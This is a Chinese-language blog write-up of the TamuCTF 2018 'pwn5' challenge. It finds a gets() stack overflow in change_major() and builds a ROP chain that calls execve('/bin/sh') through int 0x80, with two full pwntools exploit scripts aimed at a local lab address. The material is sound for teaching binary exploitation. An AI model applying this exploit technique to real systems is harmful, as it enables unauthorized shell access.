PWN_08-Tamu CTF 2018-pwn5

  1. 说明
  2. 程序分析
  3. 漏洞利用
  4. 执行结果

说明

  • 但是现实的情况是很多情况下目标程序并不会导 入system函数。在这种情况下我们就需要通过其他方法达到目标。在这一节中我们首先学习的是通过ROP调 用int 80h/syscall

程序分析

  • 载入IDAPro进行分析

    主函数

  • 双击进入print_beginning()函数

    print_beginning

  • 这个函数有大量的puts()和printf()输出提示,要求我们输入first_name, last_name和major三个字符串到 三个全局变量里,然后选择是否加入Corps of Cadets。不管选是还是否都会进入一个差不多的first_day_corps函数

    first_day_corps函数

  • 只有选择选项2才会调用函数change_major(),其他选项都只是打印出一些内容。进入change_ major()后,我们发现了一个栈溢出:

    gets栈溢出

  • 发现了溢出点后,我们就可以开始构思怎么getshell了。

漏洞利用

  • 就像开头说的那样,这个程序里找不到system函 数。但是我们用ROPGadget –binary pwn5 | grep “int 0x80”找到了一个可用的gadget

    0x80

  • 我们知道在http://syscalls.kernelgrok.com/ 上可以找到sys_execve调用,同 样可以用来开shell,这个系统调用需要设置5个寄存器,其中eax = 11 = 0xb, ebx = &(“/bin/sh”), ecx = edx = edi = 0. “/bin/sh”我们可以在前面输入到地址固定的全局变量中。接下来我们就要通过 ROPgadget搜索pop eax/ebx/ecx/edx/esi; ret了。

    mark

  • 使用ROPGadget来查找

    • pop eax; pop ebx; pop esi; pop edi; ret

      结果

    • pop edx ; pop ecx ; pop ebx ; ret

      结果

  • 构建ROP链和脚本如下:

    #coding:utf-8
    from pwn import *
    io = remote('172.17.0.2', 10001)
    ppppr = 0x080a150a        #pop eax; pop ebx; pop esi; pop edi; ret 
    pppr = 0x080733b0        #pop edx; pop ecx; pop ebx; ret 
    int_80 = 0x08071005        #int 0x80 
    binsh = 0x080f1a20        #first_name address
    
    payload = "A"*32                #padding 
    payload += p32(ppppr)        #pop eax; pop ebx; pop esi; pop edi; ret 
    payload += p32(0xb)                #eax = 0xb 
    payload += p32(binsh)        #ebx = &("/bin/sh") 
    payload += p32(0)                #esi = 0 
    payload += p32(0)                #edi = 0 
    payload += p32(pppr)        #pop edx; pop ecx; pop ebx; ret 
    payload += p32(0)                #edx = 0 
    payload += p32(0)                #ecx = 0 
    payload += p32(binsh)        #ebx = &("/bin/sh") 
    payload += p32(int_80)        #int 0x80
    io.sendline("/bin/sh")        #first_name里面存储"/bin/sh" 
    io.sendline("A")                #随便输入 
    io.sendline("A")                #随便输入 
    io.sendline("y")                #选y进入函数first_day_corps() 
    io.sendline("2")                #选项2进入change_major(),触发栈溢出
    io.sendline(payload)
    io.interactive()
  • 我们发现执行的过程中发生了错误

    错误

  • 那是为什么呢?我们将构造的payload输出

    错误原因

  • 发现构造的exp中存在\n结束符,原来是因为我们找到地址中存在0x080a150a,0x0a解析为\n

  • 我们会使用回车键”\n”代表输入结束,显然这边也是受到了这个控制字符的影响,因此我 们需要重新挑选gadgets。我们把gadget换成这一条

    更换rop链

  • 最终的exp:

    #coding:utf-8
    from pwn import *
    io = remote('172.17.0.2', 10001)
    ppppr = 0x08094ff4        #pop eax; pop ebx; pop esi; pop edi; ret 
    pppr = 0x080733b0        #pop edx; pop ecx; pop ebx; ret 
    int_80 = 0x08071005        #int 0x80 
    binsh = 0x080f1a20        #first_name address
    
    payload = "A"*32                #padding 
    payload += p32(ppppr)        #pop eax; pop ebx; pop esi; pop edi; ret 
    payload += p32(0xb)                #eax = 0xb 
    payload += p32(binsh)        #ebx = &("/bin/sh") 
    payload += p32(0)                #esi = 0 
    payload += p32(0)                #edi = 0 
    payload += p32(0)                #ebp = 0
    payload += p32(pppr)        #pop edx; pop ecx; pop ebx; ret 
    payload += p32(0)                #edx = 0 
    payload += p32(0)                #ecx = 0 
    payload += p32(binsh)        #ebx = &("/bin/sh") 
    payload += p32(int_80)        #int 0x80
    io.sendline("/bin/sh")        #first_name里面存储"/bin/sh" 
    io.sendline("A")                #随便输入 
    io.sendline("A")                #随便输入 
    io.sendline("y")                #选y进入函数first_day_corps() 
    io.sendline("2")                #选项2进入change_major(),触发栈溢出
    io.sendline(payload)
    io.interactive()

    执行结果

    结果


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 787772394@qq.com

文章标题:PWN_08-Tamu CTF 2018-pwn5

本文作者:二豆子·pwnd0u

发布时间:2020-02-08, 00:27:16

最后更新:2020-11-21, 16:34:17

原始链接:http://blog.codefat.cn/2020/02/08/4-2-Tamu-CTF-2018-pwn5/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
×

喜欢就点赞,疼爱就打赏

/*爱心代码*/ /*雪花效果*/ /*百度代码自动提交*/